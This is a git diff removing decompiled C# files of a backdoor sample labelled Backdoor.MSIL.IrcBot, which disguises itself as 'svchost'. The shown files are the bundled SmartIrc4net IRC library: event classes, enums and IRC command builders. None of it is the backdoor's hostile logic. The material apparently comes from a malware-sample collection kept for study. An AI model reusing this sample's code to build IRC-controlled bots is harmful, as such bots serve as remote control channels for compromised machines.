--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.PartEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void PartEventHandler(object sender, PartEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventArgs.cs
deleted file mode 100644
index 33f221a2..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventArgs.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.PingEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class PingEventArgs : IrcEventArgs
- {
- private string _PingData;
-
- public string PingData => this._PingData;
-
- internal PingEventArgs(IrcMessageData data, string pingdata)
- : base(data)
- {
- this._PingData = pingdata;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventHandler.cs
deleted file mode 100644
index 62c8e328..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.PingEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void PingEventHandler(object sender, PingEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventArgs.cs
deleted file mode 100644
index d0650635..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventArgs.cs
+++ /dev/null
@@ -1,23 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.PongEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Meebey.SmartIrc4net
-{
- public class PongEventArgs : IrcEventArgs
- {
- private TimeSpan _Lag;
-
- public TimeSpan Lag => this._Lag;
-
- internal PongEventArgs(IrcMessageData data, TimeSpan lag)
- : base(data)
- {
- this._Lag = lag;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventHandler.cs
deleted file mode 100644
index fceb4461..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.PongEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void PongEventHandler(object sender, PongEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Priority.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Priority.cs
deleted file mode 100644
index f2bbfcca..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Priority.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.Priority
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public enum Priority
- {
- Low,
- BelowMedium,
- Medium,
- AboveMedium,
- High,
- Critical,
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ProxyType.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ProxyType.cs
deleted file mode 100644
index 23c8f9fa..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ProxyType.cs
+++ /dev/null
@@ -1,17 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ProxyType
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public enum ProxyType
- {
- None,
- Http,
- Socks4,
- Socks4a,
- Socks5,
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventArgs.cs
deleted file mode 100644
index 0319e120..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.QuitEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class QuitEventArgs : IrcEventArgs
- {
- private string _Who;
- private string _QuitMessage;
-
- public string Who => this._Who;
-
- public string QuitMessage => this._QuitMessage;
-
- internal QuitEventArgs(IrcMessageData data, string who, string quitmessage)
- : base(data)
- {
- this._Who = who;
- this._QuitMessage = quitmessage;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventHandler.cs
deleted file mode 100644
index 6a3f4596..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.QuitEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void QuitEventHandler(object sender, QuitEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventArgs.cs
deleted file mode 100644
index 86bb9adc..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventArgs.cs
+++ /dev/null
@@ -1,19 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ReadLineEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Meebey.SmartIrc4net
-{
- public class ReadLineEventArgs : EventArgs
- {
- private string _Line;
-
- public string Line => this._Line;
-
- internal ReadLineEventArgs(string line) => this._Line = line;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventHandler.cs
deleted file mode 100644
index 9e57588d..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ReadLineEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void ReadLineEventHandler(object sender, ReadLineEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReceiveType.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReceiveType.cs
deleted file mode 100644
index cbb24f64..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReceiveType.cs
+++ /dev/null
@@ -1,44 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ReceiveType
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public enum ReceiveType
- {
- Info,
- Login,
- Motd,
- List,
- Join,
- Kick,
- Part,
- Invite,
- Quit,
- Who,
- WhoIs,
- WhoWas,
- Name,
- Topic,
- BanList,
- NickChange,
- TopicChange,
- UserMode,
- UserModeChange,
- ChannelMode,
- ChannelModeChange,
- ChannelMessage,
- ChannelAction,
- ChannelNotice,
- QueryMessage,
- QueryAction,
- QueryNotice,
- CtcpReply,
- CtcpRequest,
- Error,
- ErrorMessage,
- Unknown,
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReplyCode.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReplyCode.cs
deleted file mode 100644
index dd747e99..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReplyCode.cs
+++ /dev/null
@@ -1,150 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ReplyCode
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public enum ReplyCode
- {
- Null = 0,
- Welcome = 1,
- YourHost = 2,
- Created = 3,
- MyInfo = 4,
- Bounce = 5,
- TraceLink = 200, // 0x000000C8
- TraceConnecting = 201, // 0x000000C9
- TraceHandshake = 202, // 0x000000CA
- TraceUnknown = 203, // 0x000000CB
- TraceOperator = 204, // 0x000000CC
- TraceUser = 205, // 0x000000CD
- TraceServer = 206, // 0x000000CE
- TraceService = 207, // 0x000000CF
- TraceNewType = 208, // 0x000000D0
- TraceClass = 209, // 0x000000D1
- TraceReconnect = 210, // 0x000000D2
- StatsLinkInfo = 211, // 0x000000D3
- StatsCommands = 212, // 0x000000D4
- EndOfStats = 219, // 0x000000DB
- UserModeIs = 221, // 0x000000DD
- ServiceList = 234, // 0x000000EA
- ServiceListEnd = 235, // 0x000000EB
- StatsUptime = 242, // 0x000000F2
- StatsOLine = 243, // 0x000000F3
- LuserClient = 251, // 0x000000FB
- LuserOp = 252, // 0x000000FC
- LuserUnknown = 253, // 0x000000FD
- LuserChannels = 254, // 0x000000FE
- LuserMe = 255, // 0x000000FF
- AdminMe = 256, // 0x00000100
- AdminLocation1 = 257, // 0x00000101
- AdminLocation2 = 258, // 0x00000102
- AdminEmail = 259, // 0x00000103
- TraceLog = 261, // 0x00000105
- TraceEnd = 262, // 0x00000106
- TryAgain = 263, // 0x00000107
- Away = 301, // 0x0000012D
- UserHost = 302, // 0x0000012E
- IsOn = 303, // 0x0000012F
- UnAway = 305, // 0x00000131
- NowAway = 306, // 0x00000132
- WhoIsUser = 311, // 0x00000137
- WhoIsServer = 312, // 0x00000138
- WhoIsOperator = 313, // 0x00000139
- WhoWasUser = 314, // 0x0000013A
- EndOfWho = 315, // 0x0000013B
- WhoIsIdle = 317, // 0x0000013D
- EndOfWhoIs = 318, // 0x0000013E
- WhoIsChannels = 319, // 0x0000013F
- ListStart = 321, // 0x00000141
- List = 322, // 0x00000142
- ListEnd = 323, // 0x00000143
- ChannelModeIs = 324, // 0x00000144
- UniqueOpIs = 325, // 0x00000145
- NoTopic = 331, // 0x0000014B
- Topic = 332, // 0x0000014C
- Inviting = 341, // 0x00000155
- Summoning = 342, // 0x00000156
- InviteList = 346, // 0x0000015A
- EndOfInviteList = 347, // 0x0000015B
- ExceptionList = 348, // 0x0000015C
- EndOfExceptionList = 349, // 0x0000015D
- Version = 351, // 0x0000015F
- WhoReply = 352, // 0x00000160
- NamesReply = 353, // 0x00000161
- Links = 364, // 0x0000016C
- EndOfLinks = 365, // 0x0000016D
- EndOfNames = 366, // 0x0000016E
- BanList = 367, // 0x0000016F
- EndOfBanList = 368, // 0x00000170
- EndOfWhoWas = 369, // 0x00000171
- Info = 371, // 0x00000173
- Motd = 372, // 0x00000174
- EndOfInfo = 374, // 0x00000176
- MotdStart = 375, // 0x00000177
- EndOfMotd = 376, // 0x00000178
- YouAreOper = 381, // 0x0000017D
- Rehashing = 382, // 0x0000017E
- YouAreService = 383, // 0x0000017F
- Time = 391, // 0x00000187
- UsersStart = 392, // 0x00000188
- Users = 393, // 0x00000189
- EndOfUsers = 394, // 0x0000018A
- NoUsers = 395, // 0x0000018B
- ErrorNoSuchNickname = 401, // 0x00000191
- ErrorNoSuchServer = 402, // 0x00000192
- ErrorNoSuchChannel = 403, // 0x00000193
- ErrorCannotSendToChannel = 404, // 0x00000194
- ErrorTooManyChannels = 405, // 0x00000195
- ErrorWasNoSuchNickname = 406, // 0x00000196
- ErrorTooManyTargets = 407, // 0x00000197
- ErrorNoSuchService = 408, // 0x00000198
- ErrorNoOrigin = 409, // 0x00000199
- ErrorNoRecipient = 411, // 0x0000019B
- ErrorNoTextToSend = 412, // 0x0000019C
- ErrorNoTopLevel = 413, // 0x0000019D
- ErrorWildTopLevel = 414, // 0x0000019E
- ErrorBadMask = 415, // 0x0000019F
- ErrorUnknownCommand = 421, // 0x000001A5
- ErrorNoMotd = 422, // 0x000001A6
- ErrorNoAdminInfo = 423, // 0x000001A7
- ErrorFileError = 424, // 0x000001A8
- ErrorNoNicknameGiven = 431, // 0x000001AF
- ErrorErroneusNickname = 432, // 0x000001B0
- ErrorNicknameInUse = 433, // 0x000001B1
- ErrorNicknameCollision = 436, // 0x000001B4
- ErrorUnavailableResource = 437, // 0x000001B5
- ErrorUserNotInChannel = 441, // 0x000001B9
- ErrorNotOnChannel = 442, // 0x000001BA
- ErrorUserOnChannel = 443, // 0x000001BB
- ErrorNoLogin = 444, // 0x000001BC
- ErrorSummonDisabled = 445, // 0x000001BD
- ErrorUsersDisabled = 446, // 0x000001BE
- ErrorNotRegistered = 451, // 0x000001C3
- ErrorNeedMoreParams = 461, // 0x000001CD
- ErrorAlreadyRegistered = 462, // 0x000001CE
- ErrorNoPermissionForHost = 463, // 0x000001CF
- ErrorPasswordMismatch = 464, // 0x000001D0
- ErrorYouAreBannedCreep = 465, // 0x000001D1
- ErrorYouWillBeBanned = 466, // 0x000001D2
- ErrorKeySet = 467, // 0x000001D3
- ErrorChannelIsFull = 471, // 0x000001D7
- ErrorUnknownMode = 472, // 0x000001D8
- ErrorInviteOnlyChannel = 473, // 0x000001D9
- ErrorBannedFromChannel = 474, // 0x000001DA
- ErrorBadChannelKey = 475, // 0x000001DB
- ErrorBadChannelMask = 476, // 0x000001DC
- ErrorNoChannelModes = 477, // 0x000001DD
- ErrorBanListFull = 478, // 0x000001DE
- ErrorNoPrivileges = 481, // 0x000001E1
- ErrorChannelOpPrivilegesNeeded = 482, // 0x000001E2
- ErrorCannotKillServer = 483, // 0x000001E3
- ErrorRestricted = 484, // 0x000001E4
- ErrorUniqueOpPrivilegesNeeded = 485, // 0x000001E5
- ErrorNoOperHost = 491, // 0x000001EB
- ErrorUserModeUnknownFlag = 501, // 0x000001F5
- ErrorUsersDoNotMatch = 502, // 0x000001F6
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Rfc2812.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Rfc2812.cs
deleted file mode 100644
index 51325000..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Rfc2812.cs
+++ /dev/null
@@ -1,280 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.Rfc2812
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Text;
-using System.Text.RegularExpressions;
-
-namespace Meebey.SmartIrc4net
-{
- public sealed class Rfc2812
- {
- private static Regex _NicknameRegex = new Regex("^[A-Za-z\\[\\]\\\\`_^{|}][A-Za-z0-9\\[\\]\\\\`_\\-^{|}]+$", RegexOptions.Compiled);
-
- private Rfc2812()
- {
- }
-
- public static bool IsValidNickname(string nickname) => nickname != null && nickname.Length > 0 && Rfc2812._NicknameRegex.Match(nickname).Success;
-
- public static string Pass(string password) => "PASS " + password;
-
- public static string Nick(string nickname) => "NICK " + nickname;
-
- public static string User(string username, int usermode, string realname) => "USER " + username + " " + usermode.ToString() + " * :" + realname;
-
- public static string Oper(string name, string password) => "OPER " + name + " " + password;
-
- public static string Privmsg(string destination, string message) => "PRIVMSG " + destination + " :" + message;
-
- public static string Notice(string destination, string message) => "NOTICE " + destination + " :" + message;
-
- public static string Join(string channel) => "JOIN " + channel;
-
- public static string Join(string[] channels) => "JOIN " + string.Join(",", channels);
-
- public static string Join(string channel, string key) => "JOIN " + channel + " " + key;
-
- public static string Join(string[] channels, string[] keys) => "JOIN " + string.Join(",", channels) + " " + string.Join(",", keys);
-
- public static string Part(string channel) => "PART " + channel;
-
- public static string Part(string[] channels) => "PART " + string.Join(",", channels);
-
- public static string Part(string channel, string partmessage) => "PART " + channel + " :" + partmessage;
-
- public static string Part(string[] channels, string partmessage) => "PART " + string.Join(",", channels) + " :" + partmessage;
-
- public static string Kick(string channel, string nickname) => "KICK " + channel + " " + nickname;
-
- public static string Kick(string channel, string nickname, string comment) => "KICK " + channel + " " + nickname + " :" + comment;
-
- public static string Kick(string[] channels, string nickname) => "KICK " + string.Join(",", channels) + " " + nickname;
-
- public static string Kick(string[] channels, string nickname, string comment) => "KICK " + string.Join(",", channels) + " " + nickname + " :" + comment;
-
- public static string Kick(string channel, string[] nicknames)
- {
- string str = string.Join(",", nicknames);
- return "KICK " + channel + " " + str;
- }
-
- public static string Kick(string channel, string[] nicknames, string comment)
- {
- string str = string.Join(",", nicknames);
- return "KICK " + channel + " " + str + " :" + comment;
- }
-
- public static string Kick(string[] channels, string[] nicknames) => "KICK " + string.Join(",", channels) + " " + string.Join(",", nicknames);
-
- public static string Kick(string[] channels, string[] nicknames, string comment) => "KICK " + string.Join(",", channels) + " " + string.Join(",", nicknames) + " :" + comment;
-
- public static string Motd() => "MOTD";
-
- public static string Motd(string target) => "MOTD " + target;
-
- [Obsolete("use Lusers() method instead")]
- public static string Luser() => Rfc2812.Lusers();
-
- public static string Lusers() => "LUSERS";
-
- [Obsolete("use Lusers(string) method instead")]
- public static string Luser(string mask) => Rfc2812.Lusers(mask);
-
- public static string Lusers(string mask) => "LUSER " + mask;
-
- [Obsolete("use Lusers(string, string) method instead")]
- public static string Luser(string mask, string target) => Rfc2812.Lusers(mask, target);
-
- public static string Lusers(string mask, string target) => "LUSER " + mask + " " + target;
-
- public static string Version() => "VERSION";
-
- public static string Version(string target) => "VERSION " + target;
-
- public static string Stats() => "STATS";
-
- public static string Stats(string query) => "STATS " + query;
-
- public static string Stats(string query, string target) => "STATS " + query + " " + target;
-
- public static string Links() => "LINKS";
-
- public static string Links(string servermask) => "LINKS " + servermask;
-
- public static string Links(string remoteserver, string servermask) => "LINKS " + remoteserver + " " + servermask;
-
- public static string Time() => "TIME";
-
- public static string Time(string target) => "TIME " + target;
-
- public static string Connect(string targetserver, string port) => "CONNECT " + targetserver + " " + port;
-
- public static string Connect(string targetserver, string port, string remoteserver) => "CONNECT " + targetserver + " " + port + " " + remoteserver;
-
- public static string Trace() => "TRACE";
-
- public static string Trace(string target) => "TRACE " + target;
-
- public static string Admin() => "ADMIN";
-
- public static string Admin(string target) => "ADMIN " + target;
-
- public static string Info() => "INFO";
-
- public static string Info(string target) => "INFO " + target;
-
- public static string Servlist() => "SERVLIST";
-
- public static string Servlist(string mask) => "SERVLIST " + mask;
-
- public static string Servlist(string mask, string type) => "SERVLIST " + mask + " " + type;
-
- public static string Squery(string servicename, string servicetext) => "SQUERY " + servicename + " :" + servicetext;
-
- public static string List() => "LIST";
-
- public static string List(string channel) => "LIST " + channel;
-
- public static string List(string[] channels) => "LIST " + string.Join(",", channels);
-
- public static string List(string channel, string target) => "LIST " + channel + " " + target;
-
- public static string List(string[] channels, string target) => "LIST " + string.Join(",", channels) + " " + target;
-
- public static string Names() => "NAMES";
-
- public static string Names(string channel) => "NAMES " + channel;
-
- public static string Names(string[] channels) => "NAMES " + string.Join(",", channels);
-
- public static string Names(string channel, string target) => "NAMES " + channel + " " + target;
-
- public static string Names(string[] channels, string target) => "NAMES " + string.Join(",", channels) + " " + target;
-
- public static string Topic(string channel) => "TOPIC " + channel;
-
- public static string Topic(string channel, string newtopic) => "TOPIC " + channel + " :" + newtopic;
-
- public static string Mode(string target) => "MODE " + target;
-
- public static string Mode(string target, string newmode) => "MODE " + target + " " + newmode;
-
